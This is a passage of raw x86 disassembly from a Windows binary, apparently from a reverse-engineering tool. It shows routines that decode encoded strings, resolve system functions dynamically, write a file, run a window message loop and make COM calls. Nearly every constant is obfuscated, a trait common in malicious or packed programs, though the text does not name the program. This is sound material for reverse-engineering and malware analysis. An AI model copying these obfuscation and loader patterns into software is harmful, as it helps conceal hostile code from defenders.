edx mov edx, dword_54F1BC add edx, 14h mov eax, edi add eax, edx mov [ebp+ecx*4+var_400], eax inc edi loc_444B8A: ; CODE XREF: sub_444AA8+A9j movsx eax, word_54F144 movsx edx, word_54F09C lea eax, [eax+edx+10h] cmp edi, eax jb short loc_444B53 mov edx, dword_54F0C0 mov ecx, dword_54F0BC add ecx, 3Fh mov [ebp+edx*4+var_34C], ecx movsx edx, word_54F198 mov ecx, dword_54F1EC add ecx, 34h add ecx, dword_54F1D0 mov [ebp+edx*4+var_358], ecx movsx eax, word_54F128 add eax, dword_54F228 sub eax, 0Dh mov [ebp+var_40C], eax mov eax, [ebp+arg_8] add eax, [ebp+arg_4] mov [ebp+var_408], eax mov edi, [ebp+arg_0] jmp loc_444D3E ; --------------------------------------------------------------------------- loc_444BFD: ; CODE XREF: sub_444AA8+2A1j movsx edx, byte ptr [edi] shl edx, 2 mov esi, [ebp+edx+var_400] mov eax, dword_54F1B4 sub eax, 3 neg eax cmp esi, eax jz loc_444D3D mov eax, [ebp+var_404] or eax, eax jl loc_444D37 cmp eax, 3 jg loc_444D37 jmp off_54F460[eax*4] loc_444C3A: ; DATA XREF: .data:off_54F460o inc [ebp+var_404] jmp loc_444D37 ; --------------------------------------------------------------------------- loc_444C45: ; CODE XREF: sub_444AA8+18Bj ; DATA XREF: .data:0054F464o mov edx, [ebp+var_40C] movsx ecx, word_54F240 sub ecx, 6 mov eax, edx shl eax, cl mov [ebp+var_418], eax mov edx, esi and edx, 30h mov ecx, dword_54F114 add ecx, dword_54F200 sub ecx, 2 mov eax, edx sar eax, cl mov edx, [ebp+var_418] or edx, eax mov [ebp+var_40D], dl mov eax, ebx inc ebx mov dl, [ebp+var_40D] mov [eax], dl inc [ebp+var_404] jmp loc_444D37 ; --------------------------------------------------------------------------- loc_444C9B: ; CODE XREF: sub_444AA8+18Bj ; DATA XREF: .data:0054F468o mov edx, [ebp+var_40C] and edx, 0Fh movsx ecx, word_54F198 mov eax, dword_54F238 lea ecx, [ecx+eax+3] mov eax, edx shl eax, cl mov [ebp+var_41C], eax mov edx, esi and edx, 3Ch mov ecx, dword_54F0E0 add ecx, dword_54F1FC sub ecx, 4 mov eax, edx sar eax, cl mov edx, [ebp+var_41C] or edx, eax mov [ebp+var_40D], dl mov eax, ebx inc ebx mov dl, [ebp+var_40D] mov [eax], dl inc [ebp+var_404] jmp short loc_444D37 ; --------------------------------------------------------------------------- loc_444CF7: ; CODE XREF: sub_444AA8+18Bj ; DATA XREF: .data:0054F46Co mov edx, [ebp+var_40C] and edx, 3 movsx ecx, word_54F118 add ecx, dword_54F1A0 sub ecx, 0Ah mov eax, edx shl eax, cl mov edx, eax or edx, esi mov [ebp+var_40D], dl mov eax, ebx inc ebx mov dl, [ebp+var_40D] mov [eax], dl mov eax, dword_54F108 sub eax, 8 mov [ebp+var_404], eax loc_444D37: ; CODE XREF: sub_444AA8+17Cj ; sub_444AA8+185j ... mov [ebp+var_40C], esi loc_444D3D: ; CODE XREF: sub_444AA8+16Ej inc edi loc_444D3E: ; CODE XREF: sub_444AA8+150j cmp byte ptr [edi], 0 jz short loc_444D4F cmp ebx, [ebp+var_408] jb loc_444BFD loc_444D4F: ; CODE XREF: sub_444AA8+299j cmp byte ptr [edi], 0 jnz short loc_444D5B mov eax, ebx sub eax, [ebp+arg_4] jmp short loc_444D63 ; --------------------------------------------------------------------------- loc_444D5B: ; CODE XREF: sub_444AA8+2AAj mov eax, dword_54F1DC inc eax neg eax loc_444D63: ; CODE XREF: sub_444AA8+2B1j pop edi pop esi pop ebx leave retn sub_444AA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444D68 proc near ; CODE XREF: sub_444250+38Dp ; sub_444250+41Ap var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi movsx eax, word_54F1F0 sub eax, 6 push eax push 80h push 4 mov eax, dword_54F178 add eax, dword_54F1B4 sub eax, 0Dh push eax mov eax, dword_54F120 movsx edx, word_54F1A8 add eax, edx sub eax, 8 push eax push 40000000h push offset dword_4CA230 call ds:dword_54DB18 mov edi, eax push 0 mov eax, dword_54F1B8 add eax, dword_54F0C0 sub eax, 6 push eax push [ebp+arg_4] push edi call ds:dword_54DF30 mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_444DD7: ; CODE XREF: sub_444D68+74j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_444DD7 mov esi, eax mov ebx, dword_54F1E0 sub ebx, 4 push ebx lea ebx, [ebp+var_4] push ebx push esi push [ebp+arg_0] push edi call ds:dword_54DF1C push edi call ds:dword_4CB948 pop edi pop esi pop ebx leave retn sub_444D68 endp ; =============== S U B R O U T I N E ======================================= sub_444E05 proc near ; CODE XREF: sub_444ED7+16p push edi push offset byte_54F521 call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F268, eax movsx eax, word_54F190 sub eax, 8 cmp dword_54F268, eax jnz short loc_444E46 push offset byte_54F511 call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F268, eax loc_444E46: ; CODE XREF: sub_444E05+28j push offset dword_54F500 call sub_43AAF7 push eax push dword_54F268 call ds:dword_4491AC mov ds:dword_54DF34, eax push offset word_54F4EE call sub_43AAF7 push eax push dword_54F268 call ds:dword_4491AC mov ds:dword_44700C, eax push offset word_54F4DE call sub_43AAF7 push eax push dword_54F268 call ds:dword_4491AC mov ds:dword_54E044, eax push offset byte_54F4CF call sub_43AAF7 push eax push dword_54F268 call ds:dword_4491AC mov ds:dword_446048, eax push offset byte_54F4BF call sub_43AAF7 add esp, 14h push eax push dword_54F268 call ds:dword_4491AC mov ds:dword_4CA224, eax pop edi retn sub_444E05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444ED7 proc near ; DATA XREF: sub_43B76D+Co ; sub_43B76D+34o ... var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_143 = byte ptr -143h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 158h push ebx push esi push edi call sub_43BD23 call sub_43B309 call sub_444E05 call sub_443885 call sub_443E1B call sub_4407D3 call sub_4408C5 call sub_43FB17 call sub_43CBF8 call sub_441272 call sub_440FB0 mov esi, eax loc_444F1C: ; CODE XREF: sub_444ED7+ABj call sub_43BC76 mov edx, eax mov [ebp+var_144], dl movzx eax, [ebp+var_144] mov edx, dword_54F200 add edx, dword_54F248 sub edx, 7 cmp eax, edx jnz short loc_444F58 mov eax, dword_54F090 add eax, dword_54F108 sub eax, 0Bh push eax call ds:dword_54C960 loc_444F58: ; CODE XREF: sub_444ED7+6Aj movzx eax, [ebp+var_144] mov edx, dword_54F16C sub edx, 4 cmp eax, edx jnz short loc_444F84 mov eax, dword_54F10C add eax, 5Ch add eax, dword_54F0D8 push eax call ds:dword_50C924 pop ecx jmp short loc_444F1C ; --------------------------------------------------------------------------- loc_444F84: ; CODE XREF: sub_444ED7+93j or esi, esi jnz loc_44506B push offset dword_54F4B4 call sub_43AAF7 mov [ebp+var_150], eax push offset word_54F4AA call sub_43AAF7 push eax mov edx, [ebp+var_150] push edx lea edx, [ebp+var_143] push edx call ds:dword_50C928 lea eax, [ebp+var_143] push eax push 0 mov eax, dword_54F230 movsx edx, word_54F118 add eax, edx sub eax, 9 push eax call ds:dword_4CC908 mov edi, eax push offset word_54F49E call sub_43AAF7 mov [ebp+var_154], eax push offset dword_54F494 call sub_43AAF7 mov edx, dword_54F234 movsx ecx, word_54F0F4 add edx, ecx sub edx, 4 push edx push eax mov edx, [ebp+var_154] push edx lea edx, [ebp+var_143] push edx call ds:dword_50C928 add esp, 2Ch lea eax, [ebp+var_143] push eax push 1 push dword_54F1DC call ds:dword_4CC908 mov edi, eax mov eax, dword_54F0C0 sub eax, 2 cmp edi, eax jnz short loc_445052 push dword_54F224 call ds:dword_54C960 loc_445052: ; CODE XREF: sub_444ED7+16Dj mov eax, dword_54F0E0 add eax, 0FFFFFFF1h movsx edx, word_54F118 add eax, edx push eax push edi call ds:dword_50C920 loc_44506B: ; CODE XREF: sub_444ED7+AFj movsx eax, word_54F164 dec eax push eax call ds:dword_449598 mov ebx, eax lea eax, sub_43CE6A mov [ebp+var_40], eax mov [ebp+var_28], 5 movsx eax, word_54F194 mov edx, eax add edx, eax mov eax, edx sub eax, 2 mov [ebp+var_30], eax movsx eax, word_54F190 sub eax, 8 mov [ebp+var_2C], eax mov [ebp+var_34], ebx mov eax, dword_54F21C add eax, dword_54F1C8 sub eax, 0Ch mov [ebp+var_38], eax mov [ebp+var_44], 3 push offset word_54F48A call sub_43AAF7 mov [ebp+var_20], eax mov eax, dword_54F0C0 add eax, dword_54F0B8 sub eax, 6 mov [ebp+var_3C], eax mov eax, dword_54F16C sub eax, 5 mov [ebp+var_24], eax lea eax, [ebp+var_44] push eax call ds:dword_449090 push offset byte_5507C3 call sub_43AAF7 mov [ebp+var_158], eax push offset dword_54F480 call sub_43AAF7 mov edx, dword_54F1F4 sub edx, 9 push edx push ebx movsx edx, word_54F1C4 add edx, dword_54F140 sub edx, 9 push edx mov edx, dword_54F1B8 sub edx, 4 push edx mov edx, dword_54F0D4 movsx ecx, word_54F210 add edx, ecx sub edx, 0Ah push edx mov edx, dword_54F0A4 mov ecx, dword_54F0DC add ecx, edx sub ecx, 0Bh push ecx mov ecx, dword_54F1B0 add ecx, dword_54F1C8 sub ecx, 0Fh push ecx add edx, dword_54F124 sub edx, 9 push edx push 0CA0000h push eax mov edx, [ebp+var_158] push edx movsx edx, word_54F198 add edx, dword_54F20C sub edx, 5 push edx call ds:dword_4CB93C mov ds:dword_4495C0, eax lea eax, [ebp+var_148] push eax push ebx call sub_43CC56 mov [ebp+var_14C], eax push 0 call sub_43ECD2 add esp, 18h mov eax, [ebp+var_148] mov ds:dword_4495C4, eax mov eax, [ebp+var_14C] mov ds:dword_4CC8FC, eax or esi, esi jnz short loc_4451F1 call sub_440B06 mov eax, dword_54F0E8 add eax, dword_54F23C dec eax mov ds:dword_50C92C, eax jmp short loc_445202 ; --------------------------------------------------------------------------- loc_4451F1: ; CODE XREF: sub_444ED7+300j movsx eax, word_54F1E8 add eax, 3A91h mov ds:dword_50C92C, eax loc_445202: ; CODE XREF: sub_444ED7+318j push offset sub_443B7F call sub_43CBAF pop ecx or esi, esi jnz short loc_44523B call sub_441843 call sub_444839 call sub_441B74 call sub_43C501 jmp short loc_44523B ; --------------------------------------------------------------------------- loc_445227: ; CODE XREF: sub_444ED7+38Dj lea eax, [ebp+var_1C] push eax call ds:dword_54CB00 lea eax, [ebp+var_1C] push eax call ds:dword_447018 loc_44523B: ; CODE XREF: sub_444ED7+338j ; sub_444ED7+34Ej movsx eax, word_54F164 dec eax push eax mov eax, dword_54F1B8 sub eax, 4 push eax movsx eax, word_54F240 sub eax, 8 push eax lea eax, [ebp+var_1C] push eax call ds:dword_4CA548 or eax, eax jnz short loc_445227 pop edi pop esi pop ebx leave retn 4 sub_444ED7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44526D proc near ; CODE XREF: sub_43EA1B+28Cp var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 54h push ebx push esi push edi mov eax, dword_54F0B0 add eax, dword_54F17C sub eax, 0Bh push eax push [ebp+arg_8] push [ebp+arg_0] call sub_441F06 add esp, 0Ch mov [ebp+var_54], eax test eax, eax jnz loc_44550E push offset dword_54F470 call sub_43DEC5 pop ecx push eax call ds:dword_44700C mov [ebp+var_10], eax mov [ebp+var_18], 8 lea eax, [ebp+var_8] push eax lea esi, [ebp+var_18] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_8] push edi mov edi, [edi] call dword ptr [edi+30h] mov ebx, eax movsx eax, word_54F0C4 movsx edx, word_54F1C4 add eax, edx sub eax, 0Eh cmp ebx, eax jnz loc_4454F2 lea eax, [ebp+var_40] push eax push offset dword_550A38 mov eax, [ebp+var_8] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_54F094 add eax, dword_54F1D8 sub eax, 6 cmp ebx, eax jnz loc_4454E9 mov [ebp+var_30], 2 mov eax, dword_54F21C movsx edx, word_54F240 add eax, edx sub eax, 0Ch mov [ebp+var_28], eax lea eax, [ebp+var_1C] push eax lea esi, [ebp+var_30] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_30] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_40] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax mov eax, dword_54F220 sub eax, 2 cmp ebx, eax jnz loc_4454E0 mov eax, dword_54F24C sub eax, 9 mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push offset dword_550A48 mov eax, [ebp+var_1C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_54F20C sub eax, 4 cmp ebx, eax jnz loc_4454D7 inc ds:dword_4495D0 mov eax, dword_54F160 add eax, dword_54F200 sub eax, 2 cmp ds:dword_4495D0, eax jb short loc_4453E9 mov eax, dword_54F0F0 add eax, 3 add eax, dword_54F248 mov ds:dword_4495D0, eax push [ebp+var_4] call sub_43C284 pop ecx jmp loc_4454CE ; --------------------------------------------------------------------------- loc_4453E9: ; CODE XREF: sub_44526D+159j movsx eax, word_54F194 add eax, dword_54F18C sub eax, 2 mov [ebp+var_48], eax lea eax, [ebp+var_50] push eax push ds:dword_44601C call sub_4437E1 mov [ebp+var_34], eax lea eax, [ebp+var_4C] push eax push ds:dword_447FD4 call sub_4437E1 mov [ebp+var_38], eax lea eax, [ebp+var_44] push eax push ds:dword_4CB820 call sub_4437E1 add esp, 18h mov [ebp+var_3C], eax cmp [ebp+var_44], 0 jz short loc_445456 test eax, eax jz short loc_445456 push 43h lea eax, [ebp+var_48] push eax push [ebp+var_4] push [ebp+var_44] push [ebp+var_3C] call sub_44050C add esp, 14h loc_445456: ; CODE XREF: sub_44526D+1CCj ; sub_44526D+1D0j cmp [ebp+var_4C], 0 jz short loc_445479 cmp [ebp+var_38], 0 jz short loc_445479 push 50h lea eax, [ebp+var_48] push eax push [ebp+var_4] push [ebp+var_4C] push [ebp+var_38] call sub_44050C add esp, 14h loc_445479: ; CODE XREF: sub_44526D+1EDj ; sub_44526D+1F3j cmp [ebp+var_50], 0 jz short loc_44549C cmp [ebp+var_34], 0 jz short loc_44549C push 44h lea eax, [ebp+var_48] push eax push [ebp+var_4] push [ebp+var_50] push [ebp+var_34] call sub_44050C add esp, 14h loc_44549C: ; CODE XREF: sub_44526D+210j ; sub_44526D+216j push [ebp+var_38] call ds:dword_4495CC push [ebp+var_3C] call ds:dword_4495CC push [ebp+var_34] call ds:dword_4495CC movsx eax, word_54F194 inc eax push eax push [ebp+arg_8] push [ebp+arg_0] call sub_441F06 add esp, 0Ch loc_4454CE: ; CODE XREF: sub_44526D+177j mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] loc_4454D7: ; CODE XREF: sub_44526D+139j mov eax, [ebp+var_1C] push eax mov esi, [eax] call dword ptr [esi+8] loc_4454E0: ; CODE XREF: sub_44526D+106j mov eax, [ebp+var_40] push eax mov esi, [eax] call dword ptr [esi+8] loc_4454E9: ; CODE XREF: sub_44526D+AFj mov eax, [ebp+var_8] push eax mov esi, [eax] call dword ptr [esi+8] loc_4454F2: ; CODE XREF: sub_44526D+7Fj lea eax, [ebp+var_18] push eax call ds:dword_54DF34 mov eax, dword_54F1AC add eax, dword_54F0A0 sub eax, 5 cmp ebx, eax jz short $+2 loc_44550E: ; CODE XREF: sub_44526D+2Bj pop edi pop esi pop ebx leave retn sub_44526D endp ; =============== S U B R O U T I N E ======================================= sub_445513 proc near ; DATA XREF: .data:0054F2D8o mov eax, 80004001h retn 10h sub_445513 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_44551C proc near ; CODE XREF: sub_445539+1Ep var_FFC = dword ptr -0FFCh pop ecx loc_44551D: ; CODE XREF: sub_44551C+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_44551D sub esp, eax test [esp+0FFCh+var_FFC], eax push ecx retn sub_44551C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445539 proc near ; CODE XREF: sub_440B82+3Ap arg_0 = dword ptr 4 pop ecx pop eax add eax, 3 shr eax, 2 shl eax, 2 cmp eax, 1000h jl short loc_445569 mov edx, esp push eax fild [esp-4+arg_0] mov [esp-4+arg_0], ecx fild [esp-4+arg_0] call sub_44551C mov esp, edx push edx fistp dword ptr [esp+0] mov ecx, [esp+0] fistp dword ptr [esp+0] pop eax loc_445569: ; CODE XREF: sub_445539+10j sub esp, eax mov eax, esp mov dword ptr [eax], 0 push ecx push ecx retn sub_445539 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_445578 proc near ; CODE XREF: .text:004381BAp ; DATA XREF: .data:off_54F000o xor eax, eax inc eax retn 0Ch sub_445578 endp ; --------------------------------------------------------------------------- align 10h push eax fnstcw word ptr [esp] mov eax, [esp] btr dword ptr [esp], 8 or word ptr [esp], 200h ; START OF FUNCTION CHUNK FOR sub_4455A3 loc_445592: ; CODE XREF: sub_4455A3+Dj fldcw word ptr [esp+4+var_4] pop ecx loc_445596: ; CODE XREF: .text:004455A1j mov al, ah and eax, 3 retn ; END OF FUNCTION CHUNK FOR sub_4455A3 ; --------------------------------------------------------------------------- push eax fnstcw word ptr [esp] pop eax jmp short loc_445596 ; =============== S U B R O U T I N E ======================================= sub_4455A3 proc near ; CODE XREF: .text:loc_4381A7p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00445592 SIZE 0000000A BYTES push eax fnstcw word ptr [esp+4+var_4] mov eax, [esp+4+var_4] or word ptr [esp+4+var_4], 300h jmp short loc_445592 sub_4455A3 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4455B4 proc near ; CODE XREF: sub_4395D8+8p ; sub_43ADF1+8p ... var_FFC = dword ptr -0FFCh pop ecx loc_4455B5: ; CODE XREF: sub_4455B4+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_4455B5 sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_4455B4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4455D4 proc near ; CODE XREF: sub_438324+280p ; sub_438324+910p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_4455D4 endp ; --------------------------------------------------------------------------- align 10h jmp dword ptr ds:5510ACh ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44560C proc near ; CODE XREF: sub_43825C+10p jmp dword ptr ds:5510B0h sub_44560C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_445618 proc near ; CODE XREF: sub_438080+13p jmp dword ptr ds:5510B4h sub_445618 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_445624 proc near ; CODE XREF: sub_4381C3+33p ; sub_4381C3+45p ... jmp dword ptr ds:5510C0h sub_445624 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_445630 proc near ; CODE XREF: sub_4381C3+Bp ; sub_4381C3+17p ... jmp dword ptr ds:5510C4h sub_445630 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; --------------------------------------------------------------------------- jmp dword ptr ds:5510C8h ; --------------------------------------------------------------------------- align 8 jmp dword ptr ds:5510CCh ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_445654 proc near ; CODE XREF: sub_43825C+4Ep ; sub_43825C+87p jmp dword ptr ds:5510D0h sub_445654 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_445660 proc near ; CODE XREF: .text:00438186p jmp dword ptr ds:5510D4h sub_445660 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44566C proc near ; CODE XREF: sub_4381C3+71p ; sub_4381C3+86p jmp dword ptr ds:5510D8h sub_44566C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_445678 proc near ; CODE XREF: sub_43825C+9Ep jmp dword ptr ds:5510DCh sub_445678 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 dd 25Fh dup(?) dword_446000 dd ? ; sub_43C7A3+382w dword_446004 dd ? ; sub_443A79+14r ... dword_446008 dd ? ; sub_4404CE+2Ar ... dword_44600C dd ? ; sub_43BE84+1B1r ... dword_446010 dd ? ; sub_43C7A3+F7w dword_446014 dd ? ; sub_43B508+1Er ... dword_446018 dd ? ; sub_438324+A84r ... dword_44601C dd ? ; sub_44526D+193r dword_446020 dd ? ; sub_443885+BEw dword_446024 dd ? ; sub_443E1B+6Bw dword_446028 dd ? ; sub_43E364+21Er dword_44602C dd ? ; sub_43C397+163w ... dword_446030 dd ? ; sub_43C114+10Cw ... dword_446034 dd ? ; sub_43ADF1+BEr ... dword_446038 dd ? ; sub_43C7A3+304w dword_44603C dd ? ; sub_43ADF1+266r ... dword_446040 dd ? ; sub_440FB0+FFr dword_446044 dd ? dword_446048 dd ? ; sub_44296E+17r ... dword_44604C dd ? ; sub_443885+17Ew dword_446050 dd ? dd 3 dup(?) dword_446060 dd ? dd 3E7h dup(?) dword_447000 dd ? dword_447004 dd ? ; sub_4440DD+5Ar ... dword_447008 dd ? ; sub_443885+13Cw dword_44700C dd ? ; sub_440B82+2AFr ... dword_447010 dd ? ; sub_4447F2+3Br dword_447014 dd ? ; sub_441843+16Bw dword_447018 dd ? ; sub_444ED7+35Er dword_44701C dd ? ; sub_441843+267r ... dword_447020 dd ? ; sub_43CE88+157r ... dd 3E7h dup(?) dword_447FC0 dd ? ; sub_443B7F+10Fr dword_447FC4 dd ? ; sub_444839+1Ar ... dword_447FC8 dd ? ; sub_43C501+B9r ... dword_447FCC dd ? ; sub_43DEC5+18r ... dword_447FD0 dd ? ; sub_443A79+39r dword_447FD4 dd ? ; sub_44526D+1A5r dd 2 dup(?) dword_447FE0 dd 40h dup(?) ; sub_44050C+18Co ... dword_4480E0 dd ? ; sub_43CE88+129r ... dd 3E7h dup(?) dword_449080 dd ? ; sub_443885+166w dword_449084 dd ? ; sub_441B74+58r dword_449088 dd ? ; sub_443B7F+129r dword_44908C dd ? dword_449090 dd ? ; sub_444ED7+21Dr dword_449094 dd ? ; sub_444250+564r dd 2 dup(?) dword_4490A0 dd 41h dup(?) ; sub_43D41A+105o ... dword_4491A4 dd ? ; sub_4395D8+812r ... dword_4491A8 dd ? dword_4491AC dd ? ; sub_43BD23+5Ar ... byte_4491B0 db ? ; DATA XREF: sub_43CE88+A1r ; sub_43CE88+167r ... db 3 dup(?) dd 0F9h dup(?) dword_449598 dd ? ; sub_43B309+Dr ... dword_44959C dd ? ; sub_443885+112w dword_4495A0 dd ? ; sub_443885+127w dword_4495A4 dd ? dword_4495A8 dd ? ; sub_4412D8+139r dword_4495AC dd ? ; sub_438324+1082r ... dword_4495B0 dd ? ; sub_43CCB6+19r dword_4495B4 dd ? ; sub_43FB17+72w dword_4495B8 dd ? ; sub_43B508+19o ... dword_4495BC dd ? ; sub_43C7A3+3Aw ... dword_4495C0 dd ? dword_4495C4 dd ? ; sub_444ED7+2EEw dword_4495C8 dd ? ; sub_4408C5+51w dword_4495CC dd ? ; sub_4395D8+1512r ... dword_4495D0 dd ? ; sub_43CE88+2Fw ... dword_4495D4 dd ? ; sub_441B74+78r dd 2 dup(?) dword_4495E0 dd ? ; sub_443B7F+101w ... dd 0FFh dup(?) dword_4499E0 dd ? ; sub_4440DD+12Aw ... dd 5987h dup(?) dword_460000 dd 0A677h dup(?)dword_4899DC dd ? dword_4899E0 dd ? dword_4899E4 dd ? dword_4899E8 dd ? ; sub_443885+FDw dword_4899EC dd ? ; sub_43C7A3+25w ... dword_4899F0 dd ? dword_4899F4 dd ? ; sub_43ECD2+9r dword_4899F8 dd ? ; sub_43C7A3+2C5w ... dword_4899FC dd ? ; sub_43FD1A+71r ... dword_489A00 dd ? ; sub_43C114+3Fr ... dd 3 dup(?) word_489A10 dw ? ; DATA XREF: sub_43CE88:loc_43CF0Er ; sub_43CE88:loc_43CF5Fr ... dw ? dd 1F3h dup(?) dword_48A1E0 dd ? ; sub_441843+64w dword_48A1E4 dd ? ; sub_443885+55w dword_48A1E8 dd ? ; sub_4408C5+21Fw dword_48A1EC dd ? ; sub_4407D3+EBw dword_48A1F0 dd ? ; sub_441843+6Fw dd 3 dup(?) dword_48A200 dd 5 dup(?) ; sub_441843+103o ... dword_48A214 dd ? dword_48A218 dd ? ; sub_43BD23+3Dr ... dword_48A21C dd ? ; sub_43C7A3+1F3w dword_48A220 dd ? ; sub_4440DD+C6r ... dd 177Eh dup(?) dword_49001C dd 0E880h dup(?)dword_4CA21C dd ? dword_4CA220 dd ? ; sub_438324+A6Dr ... dword_4CA224 dd ? ; sub_44296E+39r ... dword_4CA228 dd ? ; sub_43C501+81r ... dd ? dword_4CA230 dd 80h dup(?) ; sub_43BD8A+4Fo ... dword_4CA430 dd ? ; sub_43C7A3+29Bw ... dd 3 dup(?) dword_4CA440 dd 41h dup(?) ; sub_43EF1C+13o ... dword_4CA544 dd ? ; sub_43C7A3+136w dword_4CA548 dd ? ; sub_444ED7+385r dd ? dword_4CA550 dd ? ; sub_438324+3D3r ... dword_4CA554 dd ? ; sub_438324+4C9r ... dword_4CA558 dd ? ; sub_438324+65Dr ... dword_4CA55C dd ? ; sub_438324+990r ... dword_4CA560 dd ? ; sub_438324+C92r ... dword_4CA564 dd ? ; sub_438324+CFAr ... dword_4CA568 dd ? ; sub_438324+E0Cr ... dword_4CA56C dd ? ; sub_438324+FDBr ... dword_4CA570 dd ? ; sub_43FD1A+68Ar dword_4CA574 dd ? ; sub_43FD1A+6BEr dword_4CA578 dd ? ; sub_43FD1A+653r dword_4CA57C dd ? ; sub_43FD1A+61Cr dd 4A4h dup(?) dword_4CB810 dd ? ; sub_43C7A3+25Cw dword_4CB814 dd ? ; sub_4395D8+733r ... dword_4CB818 dd ? dword_4CB81C dd ? ; sub_443885+94w dword_4CB820 dd ? ; sub_44526D+1B7r dd 3 dup(?) dword_4CB830 dd 41h dup(?) ; sub_43EF1C+2Bo ... dword_4CB934 dd ? ; sub_4395D8+CB8r ... dword_4CB938 dd ? ; sub_43C7A3+232w dword_4CB93C dd ? ; sub_438324+6CBr ... dword_4CB940 dd ? ; sub_43DEC5+EEr ... dword_4CB944 dd ? ; sub_440FB0+241r dword_4CB948 dd ? ; sub_4395D8+14CEr ... dd ? dword_4CB950 dd ? ; sub_441F06+48Er ... dd 3E7h dup(?) dword_4CC8F0 dd ? dword_4CC8F4 dd ? dword_4CC8F8 dd ? ; sub_43FD1A+65Ar ... dword_4CC8FC dd ? ; sub_444ED7+2F9w dword_4CC900 dd ? ; sub_43CCB6+6Ar ... dword_4CC904 dd ? ; sub_443885+7Fw dword_4CC908 dd ? ; sub_444ED7+FFr ... dword_4CC90C dd ? ; sub_43ECD2+148r ... dword_4CC910 dd ? ; sub_43C7A3+21Dw ... dword_4CC914 dd ? ; sub_438324+1054r ... dword_4CC918 dd ? ; sub_440FB0:loc_441104r dd ? dword_4CC920 dd ? ; sub_4440DD+D4r ... dd 0FFFEh dup(?) dword_50C91C dd ? ; sub_44296E+E08r dword_50C920 dd ? ; sub_444ED7+18Er dword_50C924 dd ? ; sub_43BE1F+54r ... dword_50C928 dd ? ; sub_438324+C64r ... dword_50C92C dd ? ; sub_444ED7+313w ... dword_50C930 dd ? ; sub_4408C5+A5w ... dword_50C934 dd ? ; sub_440B82+289r dword_50C938 dd ? ; sub_43FD1A+2E9r ... dword_50C93C dd ? ; sub_439556+32r ... dword_50C940 dd ? ; sub_43C397+79w dd 3 dup(?) dword_50C950 dd ? ; sub_4440DD+131w ... dd 0FFFEh dup(?) dword_54C94C dd ? ; sub_443B7F+8Cr dword_54C950 dd ? ; sub_4408C5+18Cw dword_54C954 dd ? ; sub_4408C5+20Aw dword_54C958 dd ? ; 